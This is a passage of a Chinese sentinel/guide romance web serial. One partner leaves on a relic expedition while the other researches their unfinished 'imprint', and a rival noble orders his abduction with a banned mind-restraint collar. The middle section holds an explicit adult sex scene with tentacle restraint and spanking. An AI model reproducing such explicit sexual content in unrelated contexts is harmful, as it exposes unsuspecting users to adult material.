“一个陈列柜。”江寻打开玻璃柜门，拍了拍内部的隔间，检查陈列柜的质量，“之前不是从荧珠星上带回了纪念品吗？我看你一直把那个海螺放在床头。”江寻侧过头去，看向陆厌离，脸上浮起一个笑容来，“所以就买了这个柜子，你可以把它放在这个柜子里。以后我们要是去了别的地方，带回了更多的纪念品，都可以把它们摆在这里。” 江寻牵起陆厌离的手，凝视着他：“我们可以一起，慢慢把这个柜子填满。” 陆厌离一怔，看着这个巨大的，现在还空荡荡的陈列柜，眼底一点点亮了起来。嘴角也抑制不住地向上弯起。用力点了点头：“好！” 两人一起将这个沉重的陈列柜搬进了客厅里，陆厌离又兴致勃勃地在家里比划了半天，才最终确定了摆放的位置。 放好陈列柜，他马上跑回卧室里，把那枚从荧珠星的珍珠沙滩上捡回来的海螺，端端正正地放进了柜子最中央的那格空位里。 柜子内置的展示灯亮起，有了藏品的展示柜，瞬间变得不同。江寻拉着陆厌离退后两步，看着那枚在灯光下泛着温润光泽的白海螺，又看了看身边眼神明亮，笑容满面的爱人，心中泛起无限温柔。 吃完晚餐，一切都收拾停当，陆厌离这才拉着江寻在客厅沙发上坐下，谈起他接下来的工作安排。 “今天威尔逊将军给我看了一个外勤任务，我打算接下来，之后又要出门一段时间了。”陆厌离靠在江寻身上，手指无意识地卷着他的衣角，慢慢说道。 江寻侧头看他，等待着下文。 “这次是一个遗迹探索任务，在M28星系。”陆厌离继续解释道，“我稍微调查了一下，任务本身没太大风险，但是持续时间可能不太确定。顺利的话，三、四天就结束了，如果遇到复杂情况，那就不太好说了。不过最长大概也就两、三周时间。” “你休假刚回来就又接到了外勤任务吗？这次的任务没问题？”江寻有些担心。 “也不算突然，”陆厌离解释道，“我原本就是专出外勤的单兵作战人员，以前接的这种任务更频繁。从我常驻第八军团以后，已经算少的了。这次是科学院那边下达的任务，要求必须由S级哨兵带队，军团长这才把任务交给了我。任务本身难度并不算高。” “原来如此。”听到这里，江寻稍稍放下心来，思索了片刻，点了点头，“最长两、三周的话……那时间差不多刚好。” “嗯？”陆厌离疑惑地抬头看向他。 “我正好可以趁这段时间，查一下有关于‘刻印’的事。圣所那边有一些以往的刻印伴侣留下的资料。尼克斯组长也对补完刻印的事很关心，上次和他聊过这件事后，还专门开了一个小课题，专门研究我们这种特殊的情况，补完刻印需要什么条件和步骤。还有……” 江寻停顿了一下，笑着低头，亲了亲陆厌离的双唇，“我还要去查一下中央星这边举行结合仪式，都要做些什么准备，好好安排一下。如果等你回来的时候我这边都准备好了，那我们就可以着手进行完全绑定了。” 陆厌离的眼睛瞬间亮了起来，他几乎是立刻点头，简直恨不得马上去出任务，再以最快的速度回来。但随即，又想起了另一件事，眉目之间浮上一层阴影。 “嗯？怎么了？”江寻眼看着他先是兴奋，却又立刻变了脸色，疑惑问道。 “今天，我父亲叫我回家了一趟……”陆厌离言简意赅地对江寻提到了陆明远的奇怪态度，以及对方说的，要为他们筹备婚礼的事。 “急着让我们结婚，但是不让我们彻底绑定吗？”江寻摸着下巴想了想，“会不会就是单纯想把我这个S级向导拉到陆家麾下？不想让我们绑定，就像他说的一样，是想保留S级向导的最大价值？” “有可能……”陆厌离皱着眉头，回忆着今天与父亲谈话的过程，“但我总觉得还有哪里不对……” “嗯……这段时间我会注意一下陆家那边的情况的。”江寻想了想，宽慰道，“没关系，绑定不绑定的，他也不可能冲进我们卧室里管吧？至于婚礼的事，大不了缓一缓，我等你回来再决定怎么办也来得及。” “好！”陆厌离闻言舒展了眉眼，语气里带着掩不住的坚定与期待，“我会尽快回来的。” 第二天一早，陆厌离便向威尔逊军团长正式提交了参与此次遗迹探索任务的申请。 申请被提交上去之后，很快经由几位军团长共同批复后，确认下来。同时，威尔逊军团长还为陆厌离特批了特殊权限，允许他在第八军团所有在籍军人中，任意选择小队成员。 “你有三天时间集结你的小队，这期间，金浩载博士也会将需要携带的仪器设备准备好。回去给家人通知一下，做好准备就出发吧。”威尔逊将军嘱咐道。 “是，军团长。”陆厌离立正行礼，带着任务确认书离开了威尔逊的办公室。 接下来的三天里，陆厌离先是通知了副官塞西尔任务的具体信息，再与塞西尔一起，结合着这次的任务特性，在现有的第八军团人员档案中，按照擅长的技能方向，仔细筛选出了合适的小队成员。 最后，在反复权衡后，确定了最终的任务名单，向被他选中的人员发送了任务通报。 三天时间一晃而过，所有的小队成员，也在期限之内集结完毕，即将与那位星际科学院派出的金浩载博士一起，共同奔赴位于M28星系的目标遗迹。 * 临行前夜，湖畔别墅中。 江寻蹲在床边，仔细检查着摊开的行李箱，将最后一盒密封好的精神力补充药剂塞进行李箱的角落里。 “嗯……作战服，向导素舒缓贴片，补充药剂……”江寻一边思考着，一边往箱子里补充物品，“行动装备和武器类的不用拿，军部那边都会提供，营养膏和生存包这些应该也有……少带一些应急的吧，上次我还买了个可压缩的静音帐篷，要不要也给你带上？” 江寻一边说着，一边回头问陆厌离，可在看清那人的模样之后，整个人立马顿住了。 陆厌离只穿了一件属于他的白色衬衫，光着脚踩在地板上。 衬衫的扣子只扣了最下面几颗，把白得晃眼的锁骨和胸前一片肌肤都露在外面。上面还残留着尚未消去的几点红梅。 宽大的下摆，刚刚遮过大腿根，将一双笔直有力的双腿，完全暴露在早春微凉的空气里。 银灰色的头发有些湿润，被他用大毛巾揉得凌乱极了，零散的发梢搭在他的面庞上，让他的眼神被遮掩得若隐若现。 若有深意地目光就这么穿过毛巾与发丝，落在江寻身上。发现他的目光骤然深沉下来之后，那人嘴角微微勾起一个带着些得意的弧度。 江寻的喉结滚动一下，几乎是立刻就明白了那写在目光里的含义。 陆厌离短促地笑了一下，再次施施然走近几步，行动之间，双腿摆动着打在衬衫下摆上，让它如蝴蝶一般一下下扇动着翅膀翩飞起来，里面引人探寻的秘密也在行动之间，若隐若现。 仰视的角度，让呈现在江寻面前的风景，随着距离的拉近，越来越清晰，直到那人走到他面前站定，一把将擦着头发的大毛巾随意丢在了地上。仿佛在诱惑着面前的男人，将另一件布料也褪下来。 “怎么样，都收拾好了吗？”陆厌离说着，俯下身来，越过江寻看向摊开在地面上的行李箱。 随着他的动作，空空荡荡的大衬衫随着重力垂坠下来，散开的衣领形成一个巨大的空洞，从江寻的角度看去，从上到下，一览无遗。 恰在此时，未完全擦干的发丝上，淌下一滴水珠来，沿着他的耳后蜿蜒攀爬过颈侧，又汇入锁骨的小窝里，在小窝里拐弯游荡，慢慢流经中央的沟壑处，紧接着，顺着那条沟壑迅速滑落了下去。 江寻的目光不自觉地被这滴水珠吸引，直到看到它彻底消失在了阴影之中。 瞬间口干舌燥。 “你这……”美好的风景，令江寻最近这段时间里食髓知味的身体，立刻有了反应。可残存的理智，还是让他无奈地叹了口气。 一步站起，一把将人打横抱了起来，在对方不可置信的目光里，把他放倒在了柔软的床铺中，用被子团团裹住。 “别闹，”江寻的声音低哑，带着明显的克制，“中央星可不比荧珠星，这里还是早春呢，晚上凉，明天就要出任务了，你可别这时候着凉了。” 他揉了揉陆厌离的头发：“先穿好衣服，要不就在被子里躺一会儿，等我收拾完行李了再来陪你。” 说完，便回转身去，直接将刚刚提到的那个压缩静音帐篷翻出来，想方设法地塞进了那个已经鼓鼓囊囊的行李箱里。 陆厌离从被子里挣扎出来，猛地坐起身，眯眼看了看蹲在床边收拾东西的男人，挑了挑眉。眼珠一转，又一个主意计上心头。 江寻刚刚把帐篷塞好，扣上锁扣，就感觉身后光线一暗，随即，肩头一沉，一双长腿从他肩膀上垂了下来。 顿了一下，回头看去。 陆厌离不知何时甩开了那条裹身的被子，坐到了床边，两条光裸的长腿搭上他的肩膀。看到他回身看来，脚踝在他胸前交叠起来，把他往自己的方向轻轻勾了勾。 居高临下看过来的目光里，带着三分狡黠，三分暧昧，三分故作的镇定，还有一分几乎察觉不到的羞涩。 “不想自己动手，要穿你来给我穿呀。”陆厌离再次晃了晃长腿，把江寻拉得更近一些，带着点挑衅说道。 感受着对方最细腻处的肌肤与自己颈侧摩擦过去的微妙触感，江寻只觉心尖好似被一只小爪子挠了挠，痒得不行。忍不住一把握住搭在自己胸前的小腿，侧过头去，目光沿着被他握住的地方，向上扫了过去。 一路越过紧绷的小腿肌肉，淡红的膝盖，丰腴的大腿，在衣摆的阴影处停留了一瞬，又继续向上，越过胸前丰隆，越过线条分明的锁骨，微扬的下巴，最后定格在那双含着丝得意与诱惑，凝视着自己的碧眸上。 陆厌离的视线也慢慢向下移动过去，伸出一小截舌头，舔了舔嘴唇。 江寻毛孔都炸了起来，瞬间有了反应。这种时候，没有男人还会去管其他事情了。 江寻低笑一声，手指在那条细长的脚踝上摩挲了一下，抬起他的小腿凑到自己唇边。 一低头，一个轻柔的吻便落了上去。下一个，在膝盖上，再下一个…… 热烈的印记，沿着内侧细腻的肌肤，一路缓慢而坚定地向上烙印过去…… “看来，只是准备物资还不够。”江寻的声音像是被闷在嘴里，有些含糊不清，灼热的气息被直直喷入了阴影之中，“我们的陆少将在临走之前，还需要一次彻底的‘精神力疏导’呢。” 陆厌离的脸颊泛红起来，眼睛紧盯着已经完全转过身来的江寻，泛起一丝湿意。 他仿佛还想再说些什么，可刚一张开口，江寻已经低下头去。瞬间，前所未有的感觉袭来，令他瞪大了眼睛，溢出一声带着慌乱的惊呼。 江寻听到动静，抬起眼来，笑看了陆厌离一眼，故意舔了舔嘴唇，双手从两边环上对方的腿弯，用力一抬。 重心一下子被动摇，陆厌离又是惊呼一声，下|身被拖着往床边挪了挪，上身却向后“嘭”一声倒在了柔软的床垫上。 下一刻，隐|秘处一热，他再也忍不住，一声长吟脱口而出。 早春的微风从两人侧面的窗户吹拂进来，抚过滚烫的肌肤时，带来一阵凉意，让陆厌离此刻热烫的脑袋清醒了一瞬。 可这股微风太过渺小，还未被他抓住又偷偷地溜走，他只来得及撑在床上向后缩了缩身子，却马上被男人一把拖了回来。下一秒，就又被拉入了无法自控地迷乱里。 良久，江寻再次抬起头来，眉心却是蹙起的。 他的个子太高，只是坐在床边，都比床沿高出许多，这个角度，实在让他不得劲。一直用手撑着，又要占用双手，他可还想做些更多的事呢。 想了一想，一个绝妙的主意浮上心头。 下一刻，他周身的精神力一阵波动，几根半透明的银色触手悄无声息地被具现化出来，漂浮在了空气中。 随着江寻心念一动，它们如一条条灵蛇一般，翻卷着慢慢爬上了陆厌离的四肢与腰肢。 “什么？！”当精神力波动出现的时候，陆厌离还没反应过来，可当第一根触手接触到他的皮肤的时候，瞬间，一股强烈的战栗感，就从神经末梢闪电般顺着他遍布全身的经脉，窜入他的神经中枢。 全身接收到的感官信号在这个刹那之后，被完全放大，这猝不及防的强烈刺激，令陆厌离的胸膛反弓着挺了起来，瞳孔瞬间放大到极致，“江……” 最后一个字淹没在惊叫声中。 卷住他脚踝的精神触手，不费吹灰之力地将他的双腿提了起来，向前拉了过去。手腕上的触手也同时用力，拉着他离开了床面。几根触手慢慢凑近，尾端触碰在一起，而后重新融合起来，连带着陆厌离的四肢也被聚拢到一处，悬挂了起来。 江寻低笑一声，凭着自己的意愿调整着高度，看着那属于自己的衬衫下摆随着重力往胸口滑了过去。 看了看显露在自己面前的美好风景，想到了什么，一掌拍了过去。 “啪！” “呜！”放大的触感，令刺痛更明显了，但更多的，是随着那股刺痛之后密密麻麻爬上脊背的酥麻。 陆厌离浑身一震，眼睛瞬间湿润，下意识想要反抗，却被更多的精神触手固定住四肢，毫无受力点。 同时，过载的感官刺激让他全身开始泛红，从喉咙里挤出声声破碎的呜咽。 江寻对自己开发出来的技能新用法十分满意。施施然站起身来，再次调整了一下高度。 刚才的一番努力已经为自己开辟好了道路，此刻，他开始正式验收自己的成果。 在这段时间里，变得柔软了许多的肉团，像是变成了一口被挂起的白色铜钟，在被撞锤每每击打到时，都会发出一阵呜呜咽咽的喑哑尖叫。然后在空中摇摆一下，再次随着重力荡回来，继续下一个轮回。 空旷的湖畔边，隐隐约约的泣鸣声在空气中飘散开来，久久不息。 这一夜，陆厌离不论是身体还是灵魂，都被这份离别前夕特有的浓烈爱意彻底填满。 * 第二天清晨，军部专用泊区。 陆厌离一身墨蓝色紧身作战服，腰间配一套制式作战包。外套一身方便行动的冲锋衣，站在集结列队的小队成员面前。 作战服从耳下一直覆盖到了手腕脚踝，将全身的肌肤都包裹得不漏分毫，把里面大片大片的暧昧痕迹统统遮住。 “塞西尔，全员到齐了吗？”陆厌离一眼扫过被他精挑细选出来，昂首挺胸的小队成员们，出声问道。 “报告少将，本次遗迹探索小队，应到十人，实到十人，已经全部集结完毕。”塞西尔利落前进一步，敬礼汇报道。 陆厌离点了点头，刚要下令所有人登上专用悬浮车，一个突兀的声音就从旁边插了进来。 “不好意思，我是不是迟到了？” 众人循声望去，却见一个穿着整齐白色制服的年轻男人走了过来。他的脸上笑吟吟的，看似随和，可眉宇之间却带着一种和在场列队的军人们完全不同的矜持与随意。 最重要的是，他的领口上，别着一枚显眼的铜钉盾徽，在阳光下闪耀着刺眼的光泽。 B级向导？！看到这个标志性的徽章，列队的小队成员们眼睛一亮，姿态上虽未有任何反应，可洋溢在空气中混杂的精神力场却骤然膨胀了起来。 那人像是已经习惯了所有人见到他的反应，轻笑一声，径直走到陆厌离面前，在终端上展示出一份电子调令。 “林莫，B级向导，塔中现任资深随队外勤向导。”他笑看着陆厌离，丝毫不因对方的身份有任何尊敬，反而透着股压制感，“经上级指派，作为此次行动的随队向导，在本次任务中为贵小队提供支援疏导服务。”—— 作者有话说：出征前夕，那必须亲亲抱抱一番[抱抱] 第227章 陆厌离的目光停留在那份电子调令上， 仔细辨认着上面的内容，以及签发处龙飞凤舞的签名与电子印章。 片刻后，审视的目光又落在了林莫身上。 对方身上那股独属于世家子弟的傲慢与优越感， 几乎完全没有掩饰地呈现在他面前，他不知道这是故意为之，还是对方压根不在意被他发现。 他没有立刻回应对方的入队请求，而是看了塞西尔一眼， 独自走到了几步之外， 向着威尔逊军团长拨去了一通通讯。 通讯很快被接通， 当威尔逊军团长的身影出现在他面前的时候，陆厌离便丝毫没有废话地将这个突如其来的意外状况汇报了上去：“军团长， 我刚刚集结好小队准备出发，突然有一位之前没有报备过的‘特派向导’要求入队，您知道这回事吗？” 通讯那头， 威尔逊将军脸上的笑容瞬间消失， 他沉默了一瞬，狠狠皱起眉头：“你等一下，我联系一下其他人问问。” 话毕便干脆利落地挂断了通讯。 一时之间， 整个场中都安静了下来。所有已经集结起来的小队成员们你看看我， 我看看你， 心中不由涌起各种猜测来。只是自己如今的顶头上司正一脸阴沉地站在前面。在这位联盟有名的冷面将军面前， 没人敢在这时候造次， 纷纷眼观鼻， 鼻观心地低头沉默着立正。 而那位不速之客， 林莫向导，则收起了自己的调令，同样束手静立等待着。一种有恃无恐的气质从他身上散发出来。 数分钟后， 终端再次响起，通讯接通，威尔逊军团长压抑着怒气的声音，从终端里传了出来：“确认了，是有这么个人……是议会那边好几个世家议员集体联名上书，与科学院那边做了交易，硬塞进来的。这个人，本身出身林家，从圣所毕业以后，在外勤组那边已经执行过多年任务，资质合规，手续也齐全。军部这次本来就是从科学院手里争取过来的任务，这一次……拒绝不了。抱歉了厌离，任务还得照常进行，过程中……你多留个心眼。” 威尔逊的声音渐渐压低，话中含义不言自明。 陆厌离眼神沉凝，片刻后回道：“明白。”随即切断了通讯。 转身走回队列前，扫了一眼偷偷打量着他的各色目光，没有解释，只是转头，对着林莫公事公办地点了下头：“调令已确认，欢迎加入我的小队，林向导。本次任务期间，请严格遵守小队行动纪律，协助我们完成任务。” 林莫嘴角牵起一抹了然微笑：“当然，我会的，陆少将。” 说完这句话，陆厌离便不再看他，转身走向悬浮车，“上车，先去星际科学院接金浩载博士，然后准备启程前往M28星域。” 经过塞西尔身边时，却深深看了对方一眼。 塞西尔神色一凛，快走几步紧跟上去。一道极低的声音传入他的耳中：“给我盯紧他。” 塞西尔面色不变，看了看陆厌离，微不可察地点了点头。 一行人迅速登上军用悬浮车，通过专用通道，很快便抵达了星际科学院指定的泊点。 空地中央，一位戴着眼镜，略有些不修边幅的中年男子已经等在了那里。身后，几个密封严实的金属箱子堆叠在一起。 “你好，是金浩载博士吗？”陆厌离大跨步地走到男人面前，确认道。 “是我，陆少将。”金博士推了推他的黑框眼睛，一下子面对这么多铁血军人，尤其是面前这位联盟有名的悍将，他显得有些拘谨局促，不住地拽着自己的袖口。 “这些就是这次需要携带的仪器吗？”陆厌离看了看他身后堆叠在一起的金属箱。 “啊，对对！”一提到自己的专业领域，金浩载的神情明显自然了许多，“都是这次探索中需要用到的监测设备、采样仪器与密封保存的一些补充药剂、鉴定药剂等重要物资，麻烦您的士兵们小心搬运。” 陆厌离点了点头，向后一挥手。 塞西尔得令，立即带着小队成员们上前，在金浩载一迭声的叮嘱里，快速而稳妥地将所有这些金属箱都转移到了悬浮车上。 之后，一行人再不耽搁，一路直奔军部专用空港，在那里转乘穿梭舰。 人员、装备全部到位，一声令下，穿梭舰下方的引擎组燃起幽光，发出一阵低沉轰鸣，缓缓滑出空港。在空中一个加速后，化为一道流光，脱离中央星引力，向着浩瀚星海疾驰而去。 * 穿梭舰尾焰的火光在天空中逐渐淡去，而中央星的生活仍在继续。 江寻依旧保持着白天在圣所上课，傍晚前去愈灵殿的规律生活，但其余的课余时间里，重心开始向着图书馆、资料库与导师办公室上转移。 以他如今的权限，圣所图书馆中大部分的书籍与资料，都已经对他全部开放。 江寻坐在图书馆顶层的一个隔间里，面前的光屏同时打开着数个界面，将几本参考文献同时展示在他面前。手边还堆着好几本看起来颇为陈旧，但是被保存得十分完好的书籍与论文原件。 一些“刻印”、“结合”之类的字眼频繁出现在被他翻过的一页页书册上，几份用牛皮纸袋封存起来，正面印着“绝密”红色钢印的资料，就这么大刺刺地摆在桌子上。 窗外的阳光透过桌面上的水杯，折射出一道光线晃过他的眼睛，令他眨了眨眼，这才意识到了眼睛的干涩与疲惫。 江寻长舒一口气，捏了捏鼻梁，向后靠在椅背上活动了一下肩膀。长时间的伏案阅读与书写，让他整个肩背都僵硬了起来。 全神贯注之下，他阅读的速度很快。尽管图书馆里的各种资料浩如烟海，他还是在几天的时间里，找出了他最需要的那一部分。 从这些乏人问津的珍贵资料里，他逐渐梳理出了一些“刻印”现象发生时的共同点，对这个特殊的现象有了更深入的理解，也有了许多与之前完全不同的认识。 这其中最令他惊讶的一点是，能发生“刻印”现象的对象，并不受哨向等级的限制。 或许是因为刻印现象的罕见，又或许是因为众多现世的刻印技能过于强大，社会上好像普遍有着一种默认的理解：刻印一定会发生在潜力极佳，实力强大的一对哨向伴侣之间。 但现实并非如此。 以他搜集到的这些资料中所记载的样本统计数据来看，实际上在低级哨向伴侣中发生的刻印现象，要比高级哨向中发生的多得多。不论是比例还是实际数量都是如此。 只不过，因为大部分低级哨向伴侣，受到了等级的限制，无法很好地发挥出技能的效果，才在历史中默默无闻。 江寻认为，这与刻印发生的基本条件，以及哨向等级对它们效果产生的影响密切相关。 根据他这段时间以来的研究与推测，刻印现象的出现，最重要的，只有两个条件。 第一个，也是最基础的条件，便是极高的匹配度。根据江寻的观察，发生刻印现象的伴侣，几乎全部拥有95%以上的极佳匹配度。匹配度越高，发生刻印现象就越是容易。 江寻认为这就是高等级伴侣之间，反而很少出现“刻印”现象的原因。因为本身高等级的哨兵向导就很少，匹配度能够达到95%以上，更是凤毛麟角。不像低等级哨兵向导，基数庞大，更容易匹配上。 第二个，属于主观条件。刻印，往往诞生于拥有极端强烈的情感链接的哨向伴侣之间。它不是任何精神力技巧，无法训练，更像是一种，当两个人同时处于极端强烈的感情冲击中，失去了对自身的主观控制时，发自本能的强烈互相吸引。 在这种极端条件下，被动的、发自本能的互相吸引，会令两人的精神力从意识层面上产生一种奇妙的共鸣，从而在彼此之间建立起一种在精神层面上的链接通道。 而在“刻印”发生时，在两人身上不同部位形成的彼此的“印痕”，就是这种链接通道在物质世界中具现化出来的通道入口。 这种链接通道，不以物质世界的一切为基础，只与精神世界有关。因此，当“刻印”完成时，在两人之间自然生成的“刻印技能”，也不受物理空间的影响。 同理，“刻印技能”的使用，也不以身体中现存的精神力为基础。也就是说，即使一个拥有“刻印技能”的人，体内已经毫无精神力，只要他的神志仍然清醒，他依然能够正常使用出“刻印技能”。 这一点其实与江寻与陆厌离如今的状况不同。如今他想要使用那扇“门”连接陆厌离，必须要用庞大的精神力为力量去撬动那扇“门”。只要精神力少上一分，就别想把那道“门”打开。 而陆厌离，更是压根感受不到“门”的存在，也不知道自己该如何开启他们的“刻印技能”。 他甚至连江寻对他发动了技能也感受不到。只有江寻从“门”后向他传输来精神力，通过他后腰的印痕接收到时，才能得知“刻印技能”正在生效。 江寻怀疑，这是因为他们之间的“刻印”尚未完整形成有关。 而“刻印技能”的效果本质，在生成时也完全随机，除了它们的主人之外，没有人知道每一个刻印技能具体有什么作用。到现在为止，历史上也从未出现过完全相同的两个“刻印技能”。 虽然技能效果完全随机，但技能的作用强度，却是受到两位伴侣的等级影响的。 这就形成了一个非常有趣的现象。 如果一对等级较低的伴侣，生成了本质非常高阶的技能，那么，这个技能表现出来的效果，可能还不如其他本质非常普通的技能。 而如果是一对等级非常高的伴侣，即使生成了本质普通、规则简单的技能，技能表现出来的效果，却也可能非常强大。甚至，当两位伴侣自身的能力足够强大，情感链接也非常紧密的时候，即使是普通的技能，也会渐渐衍生出一系列伴随功能。 比如，在样本记录中，江寻就发现了一些很有趣的例子。 一对双方均为D级的伴侣，刻印之后生成的刻印技能是【时空奇点】。 根据后来的研究者们分析，他们的这个刻印技能，本质上非常强大。这对伴侣之间生成的这个基于精神世界的“链接通道”，在技能生效时，会被转化为一种类似时空异常点的空洞。 这个空洞，可以用于封存、吞噬物质世界的实体或能量。且完全无害无污染，不会对现实物质世界产生任何影响。 但由于两人本身的哨向能力等级过低，而这个刻印技能的本质又过高，反而导致他们的技能使用时，转化出的异常空洞，只有硬币大小，持续时间也短得不足一秒。 这样的技能效果，几乎毫无用处，只能勉强“收容”得下一枚子弹。 而另一对A级与B级的伴侣，他们的刻印技能是【恒温力场】。 它的作用效果非常简单：能让伴侣的身体温度维持在人体最舒适的温度上。 但因为两人等级够高，即使技能本质如此简单，技能使用出来时的效果，依然变得无比强大。 无论是在哪种极端温度环境中，他们都能安然无恙。而且技能的维持时间非常长。一开始，当其中那名B级向导还未成长起来，只有C级时，技能持续时间就已经达到了十八小时之久。等他提升到自己的潜力极限B级时，持续时间也暴涨到了五十二小时。 根据记录记载，其二人的刻印技能持续时间，主要受精神力总量影响，并且他们是可以在技能生效过程中补充精神力的。当时有数个研究专家曾经在分析实验后得出过以下结论：如果他们能够一直得到精神力补充的话，理论上，这个技能的持续时间，还能无限延长下去。 并且在他们获得刻印技能的几十年后，这个技能还发生了一些奇妙的衍生变化。比如，他们可以让自己携带的其他物品也一直维持着与体温相同的温度；可以在接触的条件下，将自身恒定的温度传递到其他物品表面，实现快速升温或快速降温等等效果。 这个一开始看似简单无用的技能，在两人手上焕发出了耀眼的光彩，让他们成为了当时一对非常有名的极端探险和救援领域的厉害人物。 江寻闭上眼，转动着手上的感应笔沉思着。 他与陆厌离之间的刻印技能，根据现有的生效情况来看，主要有无视物理距离传输精神力与共享感官情绪这两点。 从本质来看，这就是一个基于高维精神通道的能量传输技能，和一个同样基于高维的精神链接。在C级向导技能中，有一个技能与后者很像，便是【五感共享】。 如果用更加本质的词语来概括他们的刻印技能，便是存在、传输、共享。 那么，如果他们之间的刻印能够补完，其完整的技能效果，一定也是基于此的。 具体表现形式是什么样呢？能量传输从单向转变为双向？感知共享的范围从“观看”到……“干涉”？又或者是能够观察到的范围，从具体的物理感知，转化为更加丰富的内容，比如，周围精神力的流动之类？ 江寻摇了摇头，可能性太多了，以他目前对他们之间刻印技能的熟悉程度，还无法预测出来。 但按照这些样本范例中，技能初生时的形态来考虑，最终的完整技能，最起码应该是融汇了能量传输与感知共享功能在内的“一个完整技能”，而不是像现在这样的两种独立而简单的技能。 刻印技能即使要发展出衍生分支，也应该在他们对技能绝对熟悉，并且在天长日久的使用中，融会贯通之后。不会在初觉醒时就表现出不同的形式。 按照这个方向来推断，最起码，他们之间形成的技能不可能是那种表现形式单一的简单能力，而应该是一个有结构的综合性技能。 想到这里，江寻不禁生出了许多期待。 但遗憾的是，从这么多份样本记录中，江寻都没有找到像他们一样，“刻印”只完成了一半的情况。 历史上出现“刻印”现象时，要么一次成功，要么直接失败。并且这种机会，在一生中也只会出现一次。 没有任何理论资料能告诉他，是否能让中断的“刻印”再次补完。 江寻叹了口气，恐怕他还需要去咨询更多的导师，通过分析与猜测，尝试促成这种“刻印补完”。 思忖片刻，江寻收拾了桌上的书本，向着教学楼区走去。 * 另一边，几乎是在陆厌离乘坐的穿梭舰脱离中央星引力圈的同时，伊莱便接到了来自陆明远的通讯。 【……老三已经被成功引走了，我还专门加派了一个钉子，能够为你多拖延一段时间。】陆明远灼灼地盯着另一端的伊莱说道，【两天后的贸易交流会上，你答应的交易条件，也该兑现了。】 “别着急，陆伯父，我这边当然准备好了。但是……”伊莱轻轻笑了笑，“人还没到我手里呢，稍安勿躁。” 【……凡纳家的，你应该知道，为了插手到这次任务里，我需要付出多少代价。】陆明远眼睛微眯，【我手里先期布设在M26至m29星域的所有人员，为了这次行动，全部暴露了。最麻烦的障碍我已经为你处理了，难道一个手无缚鸡之力的小向导你还搞不定吗？】 【两天后的交流会上，我要看到你凡纳家的表态。否则的话……】陆明远话语未尽，直接切断了通讯。 伊莱冷哼一声，随后，却又露出一丝笑意。 守卫宝藏的恶龙已经离开了，现在，要怎么把这个珍贵的宝藏据为己有呢？ 脑子里刚刚开始转动着念头，另一道来自监控小组的通讯就紧接着响了起来。 伊莱面露了然，一键接通。 【……陆厌离少将已于早上八点五十分乘坐战鹰型穿梭舰离开中央星。另外……】通讯中下属的声音顿了一下，带上了些许犹豫。 伊莱唇角刚刚露出的那抹笑意消失无踪，“另外什么？” 【另外……根据远程精神波动监测仪显示，以及我们安插在圣所中的向导专员反馈，目标人物江寻与陆厌离之间的精神力共振频率正在稳步趋同，已出现初步融合迹象。根据技术人员的分析，若这种趋势持续下去，等陆厌离重新返回中央星时，两人极有可能随时完成最终绑定……】 通讯挂断，伊莱脸上的最后一丝从容也消失了。 他靠躺进椅背里，眼神阴鸷地顺着窗户望向遥远的圣所方向。 居然这么快……精神力已经开始融合了。 这不仅意味着这两个人之间的融合度加深，更加意味着，江寻与其他哨兵的匹配度也会开始大幅度降低。 而如果这个匹配度跌破60%……那么，对方就从生理上，彻底不能与自己绑定了。 时间比他预计的更加紧迫，陆明远那个老狐狸所能提供的拖延，恐怕也起不了太大的作用。 他不能再寄希望于让江寻自愿选择他了，最起码，不能完全在这里等待，时间来不及了。 一个冰冷而决绝的念头在他心中升起。 恐怕不得不使用一些强制性手段了。 伊莱的面色彻底冷了下来，打开终端，连通一个加密过的特殊频道。 “计划变更。”伊莱的声音冷冽，失去了所有温度，“启动强风级预案。目标，向导江寻。在确保其安全的情况下，把人带回来。如遇抵抗或紧急情况，允许使用精神干涉装置与‘枷锁’项圈。但是！”伊莱强调，“引起的骚动程度不得超过城级，不得泄露任何凡纳家的相关信息。抓住人后，立即将他转移到其他地点，不得延误。” “枷锁”，那是一种在百年前就已经被联盟明令禁止的，能够强行禁锢住向导所有精神力，甚至在一定范围内混乱其思维的辅助禁锢装置。一不小心，就会对向导产生不可逆的精神损伤。 【是！】对面的人毫不犹豫，干脆利落地应下。 “记住，”伊莱最后补充道，语气里是全然的势在必得，“不惜一切代价，封锁消息，得到他。” 第228章 通讯再次被切断。 伊莱尾音的余韵还在空气中冰冷地漂浮着， 一直静立在他身后，如同一个毫无存在感的影子的老管家劳伦斯，终于忍不住轻轻上前一步。 他是从伊莱母亲的娘家一路追随着她嫁入凡纳家， 又看着伊莱从小一直长大的贴身人，却一直谨守着自己的本分，从不对主人的任何决定予以置喙。 可这一刻，他的脸上却刻满了深切的忧虑。浓重的担心与不安， 几乎顺着他脸上的沟壑流下来。 他的声音压得极低， 似乎是怕自己说的这番话被外人探听到：“大少爷， 请您务必三思！” 劳伦斯的语气急促而担忧：“自从联盟初期那段禁锢圈养向导的黑暗时代被推翻后，联盟一直到现在都对强制掠夺、绑定向导惩处得极为严厉， 这是绝不可触碰的红线！在那些联盟控制力不强的边缘星域还容易掩饰，可这里是中央星，所有政治、组织的中心！您在这里动手， 即使是凡纳家也没法将首尾完全掩盖起来！” “一旦事发， 不仅仅是您个人，整个凡纳家族恐怕都将因此面临前所未有的舆论压力与司法惩处。更何况……”劳伦斯额头上的冷汗涔涔而下，“您的目标是江寻， 一位现存的， 整个联盟唯二的S级‘寻道者’！” 他深吸了一口气， 继续为伊莱陈述着利害， 即使他知道， 伊莱心中对这些也一清二楚：“大少爷， 这位江寻向导如今的待遇看似寻常， 还像他的等级没公布之前一样在圣所里学习，在愈灵殿中做劳动服务，但联盟中真正的那些顶层大人物， 有谁不关注他？” “之所以至今无人真正动手，不是因为他不够重要，正是因为他太重要了，没有人能抵抗得住其他所有人的压力将他独揽斛中。又恰好，在这个时候，他还没完全从自己的“道路”上获得大的成果，还表现出了明显的偏向愈灵殿这个中立医疗研究机构的姿态。他能一直呆在愈灵殿中，本身就是各方势力博弈后暂时达成的微妙平衡！” “所有人都在等待着他实际研究出成果的那一天，所有人都在暗地里积蓄力量，您若是在这个时候不顾后果的直接动用强制手段，等于直接掀翻了桌子，让所有人都吃不到后续的巨大利益。这样一来，必定会激怒议会、军部甚至是其他世家中那些一直对他虎视眈眈的势力。到了那时候……即使是家族也未必能护您周全。更何况，老爷现在对您……” 伊莱猛地转过身来，脸上阴郁沉沉，一双眼睛里闪烁着偏执的光芒，与他平日里那般从容的模样判若两人。他毫不客气地打断了劳伦斯的话，声音斩钉截铁： 